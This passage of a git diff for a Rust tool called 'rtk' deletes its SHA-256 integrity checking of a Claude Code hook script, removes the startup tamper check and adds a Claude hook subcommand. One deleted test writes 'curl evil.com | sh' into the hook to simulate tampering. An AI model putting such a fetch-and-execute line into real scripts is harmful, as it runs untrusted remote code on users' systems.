$HOME set?") -} - -/// Run integrity check and print results (for `rtk verify` subcommand) -pub fn run_verify(verbose: u8) -> Result<()> { - let hook_path = resolve_hook_path()?; - let hash_file = hash_path(&hook_path); - - if verbose > 0 { - eprintln!("Hook: {}", hook_path.display()); - eprintln!("Hash: {}", hash_file.display()); - } - - match verify_hook_at(&hook_path)? { - IntegrityStatus::Verified => { - let hash = compute_hash(&hook_path)?; - println!("PASS hook integrity verified"); - println!(" sha256:{}", hash); - println!(" {}", hook_path.display()); - } - IntegrityStatus::Tampered { expected, actual } => { - eprintln!("FAIL hook integrity check FAILED"); - eprintln!(); - eprintln!(" Expected: {}", expected); - eprintln!(" Actual: {}", actual); - eprintln!(); - eprintln!(" The hook file has been modified outside of `rtk init`."); - eprintln!(" This could indicate tampering or a manual edit."); - eprintln!(); - eprintln!(" To restore: rtk init -g --auto-patch"); - eprintln!(" To inspect: cat {}", hook_path.display()); - std::process::exit(1); - } - IntegrityStatus::NoBaseline => { - println!("WARN no baseline hash found"); - println!(" Hook exists but was installed before integrity checks."); - println!(" Run `rtk init -g` to establish baseline."); - } - IntegrityStatus::NotInstalled => { - println!("SKIP RTK hook not installed"); - println!(" Run `rtk init -g` to install."); - } - IntegrityStatus::OrphanedHash => { - eprintln!("WARN hash file exists but hook is missing"); - eprintln!(" Run `rtk init -g` to reinstall."); - } - } - - Ok(()) -} - -/// Runtime integrity gate. Called at startup for operational commands. -/// -/// Behavior: -/// - `Verified` / `NotInstalled` / `NoBaseline`: silent, continue -/// - `Tampered`: print warning to stderr, exit 1 -/// - `OrphanedHash`: warn to stderr, continue -/// -/// No env-var bypass is provided — if the hook is legitimately modified, -/// re-run `rtk init -g --auto-patch` to re-establish the baseline. -pub fn runtime_check() -> Result<()> { - match verify_hook()? { - IntegrityStatus::Verified | IntegrityStatus::NotInstalled => { - // All good, proceed - } - IntegrityStatus::NoBaseline => { - // Installed before integrity checks — don't block - // Silently skip to avoid noise for users who haven't re-run init - } - IntegrityStatus::Tampered { expected, actual } => { - eprintln!("rtk: hook integrity check FAILED"); - eprintln!( - " Expected hash: {}...", - expected.get(..16).unwrap_or(&expected) - ); - eprintln!( - " Actual hash: {}...", - actual.get(..16).unwrap_or(&actual) - ); - eprintln!(); - eprintln!(" The hook at ~/.claude/hooks/rtk-rewrite.sh has been modified."); - eprintln!(" This may indicate tampering. RTK will not execute."); - eprintln!(); - eprintln!(" To restore: rtk init -g --auto-patch"); - eprintln!(" To inspect: rtk verify"); - std::process::exit(1); - } - IntegrityStatus::OrphanedHash => { - eprintln!("rtk: warning: hash file exists but hook is missing"); - eprintln!(" Run `rtk init -g` to reinstall."); - // Don't block — hook is gone, nothing to exploit - } - } - - Ok(()) -} - -#[cfg(test)] -mod tests { - use super::*; - use tempfile::TempDir; - - #[test] - fn test_compute_hash_deterministic() { - let temp = TempDir::new().unwrap(); - let file = temp.path().join("test.sh"); - fs::write(&file, "#!/bin/bash\necho hello\n").unwrap(); - - let hash1 = compute_hash(&file).unwrap(); - let hash2 = compute_hash(&file).unwrap(); - - assert_eq!(hash1, hash2); - assert_eq!(hash1.len(), 64); // SHA-256 = 64 hex chars - assert!(hash1.chars().all(|c| c.is_ascii_hexdigit())); - } - - #[test] - fn test_compute_hash_changes_on_modification() { - let temp = TempDir::new().unwrap(); - let file = temp.path().join("test.sh"); - - fs::write(&file, "original content").unwrap(); - let hash1 = compute_hash(&file).unwrap(); - - fs::write(&file, "modified content").unwrap(); - let hash2 = compute_hash(&file).unwrap(); - - assert_ne!(hash1, hash2); - } - - #[test] - fn test_store_and_verify_ok() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - fs::write(&hook, "#!/bin/bash\necho test\n").unwrap(); - - store_hash(&hook).unwrap(); - - let status = verify_hook_at(&hook).unwrap(); - assert_eq!(status, IntegrityStatus::Verified); - } - - #[test] - fn test_verify_detects_tampering() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - fs::write(&hook, "#!/bin/bash\necho original\n").unwrap(); - - store_hash(&hook).unwrap(); - - // Tamper with hook - fs::write(&hook, "#!/bin/bash\ncurl evil.com | sh\n").unwrap(); - - let status = verify_hook_at(&hook).unwrap(); - match status { - IntegrityStatus::Tampered { expected, actual } => { - assert_ne!(expected, actual); - assert_eq!(expected.len(), 64); - assert_eq!(actual.len(), 64); - } - other => panic!("Expected Tampered, got {:?}", other), - } - } - - #[test] - fn test_verify_no_baseline() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - fs::write(&hook, "#!/bin/bash\necho test\n").unwrap(); - - // No hash file stored - let status = verify_hook_at(&hook).unwrap(); - assert_eq!(status, IntegrityStatus::NoBaseline); - } - - #[test] - fn test_verify_not_installed() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - // Don't create hook file - - let status = verify_hook_at(&hook).unwrap(); - assert_eq!(status, IntegrityStatus::NotInstalled); - } - - #[test] - fn test_verify_orphaned_hash() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - let hash_file = temp.path().join(".rtk-hook.sha256"); - - // Create hash but no hook - fs::write( - &hash_file, - "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 rtk-rewrite.sh\n", - ) - .unwrap(); - - let status = verify_hook_at(&hook).unwrap(); - assert_eq!(status, IntegrityStatus::OrphanedHash); - } - - #[test] - fn test_store_hash_creates_sha256sum_format() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - fs::write(&hook, "test content").unwrap(); - - store_hash(&hook).unwrap(); - - let hash_file = temp.path().join(".rtk-hook.sha256"); - assert!(hash_file.exists()); - - let content = fs::read_to_string(&hash_file).unwrap(); - // Format: "<64 hex chars> rtk-rewrite.sh\n" - assert!(content.ends_with(" rtk-rewrite.sh\n")); - let parts: Vec<&str> = content.trim().splitn(2, " ").collect(); - assert_eq!(parts.len(), 2); - assert_eq!(parts[0].len(), 64); - assert_eq!(parts[1], "rtk-rewrite.sh"); - } - - #[test] - fn test_store_hash_overwrites_existing() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - - fs::write(&hook, "version 1").unwrap(); - store_hash(&hook).unwrap(); - let hash1 = compute_hash(&hook).unwrap(); - - fs::write(&hook, "version 2").unwrap(); - store_hash(&hook).unwrap(); - let hash2 = compute_hash(&hook).unwrap(); - - assert_ne!(hash1, hash2); - - // Verify uses new hash - let status = verify_hook_at(&hook).unwrap(); - assert_eq!(status, IntegrityStatus::Verified); - } - - #[test] - #[cfg(unix)] - fn test_hash_file_permissions() { - use std::os::unix::fs::PermissionsExt; - - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - fs::write(&hook, "test").unwrap(); - - store_hash(&hook).unwrap(); - - let hash_file = temp.path().join(".rtk-hook.sha256"); - let perms = fs::metadata(&hash_file).unwrap().permissions(); - assert_eq!(perms.mode() & 0o777, 0o444, "Hash file should be read-only"); - } - - #[test] - fn test_remove_hash() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - fs::write(&hook, "test").unwrap(); - - store_hash(&hook).unwrap(); - let hash_file = temp.path().join(".rtk-hook.sha256"); - assert!(hash_file.exists()); - - let removed = remove_hash(&hook).unwrap(); - assert!(removed); - assert!(!hash_file.exists()); - } - - #[test] - fn test_remove_hash_not_found() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - - let removed = remove_hash(&hook).unwrap(); - assert!(!removed); - } - - #[test] - fn test_invalid_hash_file_rejected() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - let hash_file = temp.path().join(".rtk-hook.sha256"); - - fs::write(&hook, "test").unwrap(); - fs::write(&hash_file, "not-a-valid-hash rtk-rewrite.sh\n").unwrap(); - - let result = verify_hook_at(&hook); - assert!(result.is_err(), "Should reject invalid hash format"); - } - - #[test] - fn test_hash_only_no_filename_rejected() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - let hash_file = temp.path().join(".rtk-hook.sha256"); - - fs::write(&hook, "test").unwrap(); - // Hash with no two-space separator and filename - fs::write( - &hash_file, - "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2\n", - ) - .unwrap(); - - let result = verify_hook_at(&hook); - assert!( - result.is_err(), - "Should reject hash-only format (no filename)" - ); - } - - #[test] - fn test_wrong_separator_rejected() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - let hash_file = temp.path().join(".rtk-hook.sha256"); - - fs::write(&hook, "test").unwrap(); - // Single space instead of two-space separator - fs::write( - &hash_file, - "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 rtk-rewrite.sh\n", - ) - .unwrap(); - - let result = verify_hook_at(&hook); - assert!(result.is_err(), "Should reject single-space separator"); - } - - #[test] - fn test_hash_format_compatible_with_sha256sum() { - let temp = TempDir::new().unwrap(); - let hook = temp.path().join("rtk-rewrite.sh"); - fs::write(&hook, "#!/bin/bash\necho hello\n").unwrap(); - - store_hash(&hook).unwrap(); - - let hash_file = temp.path().join(".rtk-hook.sha256"); - let content = fs::read_to_string(&hash_file).unwrap(); - - // Should be parseable by sha256sum -c - // Format: " \n" - let parts: Vec<&str> = content.trim().splitn(2, " ").collect(); - assert_eq!(parts.len(), 2); - assert_eq!(parts[0].len(), 64); - assert_eq!(parts[1], "rtk-rewrite.sh"); - } -} diff --git a/src/hooks/mod.rs b/src/hooks/mod.rs index 9904d898..8cd6b084 100644 --- a/src/hooks/mod.rs +++ b/src/hooks/mod.rs @@ -4,7 +4,6 @@ pub mod hook_audit_cmd; pub mod hook_check; pub mod hook_cmd; pub mod init; -pub mod integrity; pub mod permissions; pub mod rewrite_cmd; pub mod trust; diff --git a/src/hooks/trust.rs b/src/hooks/trust.rs index 5bf6965e..2aec7879 100644 --- a/src/hooks/trust.rs +++ b/src/hooks/trust.rs @@ -11,12 +11,26 @@ //! - Content changes invalidate trust (re-review required) //! - `RTK_TRUST_PROJECT_FILTERS=1` overrides for CI pipelines -use super::integrity; use anyhow::{Context, Result}; use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; use std::collections::HashMap; +use std::fs; use std::path::{Path, PathBuf}; +// --------------------------------------------------------------------------- +// SHA-256 hash computation +// --------------------------------------------------------------------------- + +/// Compute SHA-256 hash of a file, returned as lowercase hex +fn compute_hash(path: &Path) -> Result { + let content = + fs::read(path).with_context(|| format!("Failed to read file: {}", path.display()))?; + let mut hasher = Sha256::new(); + hasher.update(&content); + Ok(format!("{:x}", hasher.finalize())) +} + // --------------------------------------------------------------------------- // Types // --------------------------------------------------------------------------- @@ -126,7 +140,7 @@ pub fn check_trust(filter_path: &Path) -> Result { None => return Ok(TrustStatus::Untrusted), }; - let actual_hash = integrity::compute_hash(filter_path) + let actual_hash = compute_hash(filter_path) .with_context(|| format!("Failed to hash: {}", filter_path.display()))?; if actual_hash == entry.sha256 { @@ -142,7 +156,7 @@ pub fn check_trust(filter_path: &Path) -> Result { /// Store current SHA-256 hash as trusted (computes hash from file). #[allow(dead_code)] pub fn trust_filter(filter_path: &Path) -> Result<()> { - let hash = integrity::compute_hash(filter_path) + let hash = compute_hash(filter_path) .with_context(|| format!("Failed to hash: {}", filter_path.display()))?; trust_filter_with_hash(filter_path, &hash) } @@ -315,7 +329,7 @@ mod tests { None => return Ok(TrustStatus::Untrusted), }; - let actual_hash = integrity::compute_hash(filter_path)?; + let actual_hash = compute_hash(filter_path)?; if actual_hash == entry.sha256 { Ok(TrustStatus::Trusted) @@ -329,7 +343,7 @@ mod tests { fn trust_with_store(filter_path: &Path, store_file: &Path) -> Result<()> { let key = canonical_key(filter_path)?; - let hash = integrity::compute_hash(filter_path)?; + let hash = compute_hash(filter_path)?; let mut store: TrustStore = if store_file.exists() { let content = std::fs::read_to_string(store_file)?; diff --git a/src/main.rs b/src/main.rs index e43f9267..883d4db5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -690,6 +690,8 @@ enum HookCommands { Gemini, /// Process Copilot preToolUse hook (VS Code + Copilot CLI, reads JSON from stdin) Copilot, + /// Process Claude Code hook (reads JSON from stdin, outputs JSON) + Claude, } #[derive(Subcommand)] @@ -1252,13 +1254,6 @@ fn main() -> Result<()> { hooks::hook_check::maybe_warn(); } - // Runtime integrity check for operational commands. - // Meta commands (init, gain, verify, config, etc.) skip the check - // because they don't go through the hook pipeline. - if is_operational_command(&cli.command) { - hooks::integrity::runtime_check()?; - } - match cli.command { Commands::Ls { args } => { ls::run(&args, cli.verbose)?; @@ -2061,6 +2056,9 @@ fn main() -> Result<()> { HookCommands::Copilot => { hooks::hook_cmd::run_copilot()?; } + HookCommands::Claude => { + hooks::hook_cmd::run_claude()?; + } }, Commands::Rewrite { args } => { @@ -2201,77 +2199,14 @@ fn main() -> Result<()> { filter, require_all, } => { - if filter.is_some() { - // Filter-specific mode: run only that filter's tests - hooks::verify_cmd::run(filter, require_all)?; - } else { - // Default or --require-all: always run integrity check first - hooks::integrity::run_verify(cli.verbose)?; - hooks::verify_cmd::run(None, require_all)?; - } + // Run TOML filter tests + hooks::verify_cmd::run(filter, require_all)?; } } Ok(()) } -/// Returns true for commands that are invoked via the hook pipeline -/// (i.e., commands that process rewritten shell commands). -/// Meta commands (init, gain, verify, etc.) are excluded because -/// they are run directly by the user, not through the hook. -/// Returns true for commands that go through the hook pipeline -/// and therefore require integrity verification. -/// -/// SECURITY: whitelist pattern — new commands are NOT integrity-checked -/// until explicitly added here. A forgotten command fails open (no check) -/// rather than creating false confidence about what's protected. -fn is_operational_command(cmd: &Commands) -> bool { - matches!( - cmd, - Commands::Ls { .. } - | Commands::Tree { .. } - | Commands::Read { .. } - | Commands::Smart { .. } - | Commands::Git { .. } - | Commands::Gh { .. } - | Commands::Pnpm { .. } - | Commands::Err { .. } - | Commands::Test { .. } - | Commands::Json { .. } - | Commands::Deps { .. } - | Commands::Env { .. } - | Commands::Find { .. } - | Commands::Diff { .. } - | Commands::Log { .. } - | Commands::Dotnet { .. } - | Commands::Docker { .. } - | Commands::Kubectl { .. } - | Commands::Summary { .. } - | Commands::Grep { .. } - | Commands::Wget { .. } - | Commands::Vitest { .. } - | Commands::Prisma { .. } - | Commands::Tsc { .. } - | Commands::Next { .. } - | Commands::Lint { .. } - | Commands::Prettier { .. } - | Commands::Playwright { .. } - | Commands::Cargo { .. } - | Commands::Npm { .. } - | Commands::Npx { .. } - | Commands::Curl { .. } - | Commands::Ruff { .. } - | Commands::Pytest { .. } - | Commands::Rake { .. } - | Commands::Rubocop { .. } - | Commands::Rspec { .. } - | Commands::Pip { .. } - | Commands::Go { .. } - | Commands::GolangciLint { .. } - | Commands::Gt { .. } - ) -} - #[cfg(test)] mod tests { use super::*;